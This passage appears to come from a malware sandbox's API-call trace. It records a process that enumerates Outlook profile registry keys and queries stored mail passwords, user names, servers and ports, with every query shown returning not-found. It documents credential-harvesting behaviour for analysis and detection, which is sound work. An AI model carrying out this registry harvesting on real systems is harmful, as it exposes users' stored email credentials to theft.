0x0 [0096.341] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.341] RegCloseKey (hKey=0x71c) returned 0x0 [0096.341] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.341] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.341] RegCloseKey (hKey=0x71c) returned 0x0 [0096.341] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.341] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.341] RegCloseKey (hKey=0x71c) returned 0x0 [0096.341] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.341] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.341] RegCloseKey (hKey=0x71c) returned 0x0 [0096.341] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.341] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.342] RegCloseKey (hKey=0x71c) returned 0x0 [0096.342] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.342] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.342] RegCloseKey (hKey=0x71c) returned 0x0 [0096.342] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.342] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.342] RegCloseKey (hKey=0x71c) returned 0x0 [0096.342] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.342] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.342] RegCloseKey (hKey=0x71c) returned 0x0 [0096.342] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.342] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.342] RegCloseKey (hKey=0x71c) returned 0x0 [0096.342] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.342] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.342] RegCloseKey (hKey=0x71c) returned 0x0 [0096.342] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.342] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.342] RegCloseKey (hKey=0x71c) returned 0x0 [0096.343] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", phkResult=0x54deca0 | out: phkResult=0x54deca0*=0x71c) returned 0x0 [0096.343] RegEnumKeyExA (in: hKey=0x71c, dwIndex=0x0, lpName=0x54decb0, lpcchName=0x54df4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54df4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.343] RegCloseKey (hKey=0x71c) returned 0x0 [0096.343] LocalFree (hMem=0x28e7670) returned 0x0 [0096.343] RegEnumKeyExA (in: hKey=0x368, dwIndex=0xb, lpName=0x54df510, lpcchName=0x54dfd38, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="9207f3e0a3b11019908b08002b2a56c2", lpcchName=0x54dfd38, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0096.343] lstrlenA (lpString="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook") returned 55 [0096.343] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x28e7670 [0096.343] wsprintfA (in: param_1=0x28e7670, param_2="%s\\%s" | out: param_1="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2") returned 88 [0096.343] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.343] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.343] RegCloseKey (hKey=0x71c) returned 0x0 [0096.343] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.343] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.343] RegCloseKey (hKey=0x71c) returned 0x0 [0096.343] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.343] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.343] RegCloseKey (hKey=0x71c) returned 0x0 [0096.343] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.343] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.343] RegCloseKey (hKey=0x71c) returned 0x0 [0096.343] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.344] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.344] RegCloseKey (hKey=0x71c) returned 0x0 [0096.344] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.344] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.344] RegCloseKey (hKey=0x71c) returned 0x0 [0096.344] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.344] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.344] RegCloseKey (hKey=0x71c) returned 0x0 [0096.344] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.344] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.344] RegCloseKey (hKey=0x71c) returned 0x0 [0096.344] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.344] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.344] RegCloseKey (hKey=0x71c) returned 0x0 [0096.344] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.344] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.344] RegCloseKey (hKey=0x71c) returned 0x0 [0096.345] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.345] RegQueryValueExA (in: hKey=0x71c, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.345] RegCloseKey (hKey=0x71c) returned 0x0 [0096.345] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.345] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.345] RegCloseKey (hKey=0x71c) returned 0x0 [0096.345] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.345] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.345] RegCloseKey (hKey=0x71c) returned 0x0 [0096.345] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.345] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.345] RegCloseKey (hKey=0x71c) returned 0x0 [0096.345] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.345] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.345] RegCloseKey (hKey=0x71c) returned 0x0 [0096.345] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.345] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.345] RegCloseKey (hKey=0x71c) returned 0x0 [0096.346] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.346] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.346] RegCloseKey (hKey=0x71c) returned 0x0 [0096.346] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.346] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.346] RegCloseKey (hKey=0x71c) returned 0x0 [0096.346] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.346] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.346] RegCloseKey (hKey=0x71c) returned 0x0 [0096.346] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.346] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.346] RegCloseKey (hKey=0x71c) returned 0x0 [0096.346] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.346] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.346] RegCloseKey (hKey=0x71c) returned 0x0 [0096.346] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.346] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.347] RegCloseKey (hKey=0x71c) returned 0x0 [0096.347] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.347] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.347] RegCloseKey (hKey=0x71c) returned 0x0 [0096.347] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.371] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.371] RegCloseKey (hKey=0x71c) returned 0x0 [0096.371] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.371] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.371] RegCloseKey (hKey=0x71c) returned 0x0 [0096.372] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.372] RegQueryValueExA (in: hKey=0x71c, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.372] RegCloseKey (hKey=0x71c) returned 0x0 [0096.372] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.372] RegQueryValueExA (in: hKey=0x71c, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.372] RegCloseKey (hKey=0x71c) returned 0x0 [0096.372] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.372] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.372] RegCloseKey (hKey=0x71c) returned 0x0 [0096.372] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.372] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.372] RegCloseKey (hKey=0x71c) returned 0x0 [0096.372] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.372] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.372] RegCloseKey (hKey=0x71c) returned 0x0 [0096.372] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x71c) returned 0x0 [0096.372] RegQueryValueExA (in: hKey=0x71c, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.373] RegCloseKey (hKey=0x71c) returned 0x0 [0096.373] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.373] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.373] RegCloseKey (hKey=0x71c) returned 0x0 [0096.373] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.373] RegQueryValueExA (in: hKey=0x71c, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.373] RegCloseKey (hKey=0x71c) returned 0x0 [0096.373] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x71c) returned 0x0 [0096.373] RegQueryValueExA (in: hKey=0x71c, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.373] RegCloseKey (hKey=0x71c) returned 0x0 [0096.373] RegOpenKeyExA (in: hKey=0xffffffff80000001, 